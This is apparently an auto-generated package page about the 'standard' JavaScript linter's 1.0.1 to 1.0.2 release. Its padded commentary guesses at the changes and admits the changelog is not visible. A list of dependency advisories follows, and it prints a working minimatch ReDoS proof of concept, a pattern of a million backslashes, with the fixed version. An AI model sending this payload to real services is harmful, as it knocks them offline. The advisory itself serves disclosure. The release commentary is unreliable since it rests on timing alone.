Standard, a popular JavaScript style guide and linter, saw a minor version bump from 1.0.1 to 1.0.2 bringing some subtle improvements. Both versions share the same core dependencies including find, jscs, split, and jshint, essential tools for file system traversal, code style checks, string manipulation, and JavaScript syntax analysis, respectively. Developers relying on these underlying tools won't experience any breaking changes or significant modifications. The key distinctionlies in the release date. Version 1.0.2 was published shortly after 1.0.1 about an hour and a half later. This suggests the update likely addresses bug fixes or minor tweaks to the existing codebase. Therefore, upgrading from 1.0.1 to 1.0.2 is advisable for developers seeking the most stable and refined experience with the Standard style guide. This increment promises to improve the user experience without introducing any new features or fundamental changes. While the changelog is not visible, the swift release cycle signals a commitment to maintaining a reliable and consistent tool for enforcing JavaScript code standards. Always prefer to get the newer revisions of the packages as they are stable and contain bug fixes.
All the vulnerabilities related to the version 1.0.2 of the package
Regular Expression Denial of Service in minimatch
Affected versions of minimatch are vulnerable to regular expression denial of service attacks when user input is passed into the pattern argument of minimatch(path, pattern).
var minimatch = require(“minimatch”);
// utility function for generating long strings
var genstr = function (len, chr) {
var result = “”;
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
var exploit = “[!” + genstr(1000000, “\\”) + “A”;
// minimatch exploit.
console.log(“starting minimatch”);
minimatch(“foo”, exploit);
console.log(“finishing minimatch”);
Update to version 3.0.2 or later.
minimatch ReDoS vulnerability
A vulnerability was found in the minimatch package. This flaw allows a Regular Expression Denial of Service (ReDoS) when calling the braceExpand function with specific arguments, resulting in a Denial of Service.
Prototype pollution in pathval
A prototype pollution vulnerability affects all versions of package pathval under 1.1.1.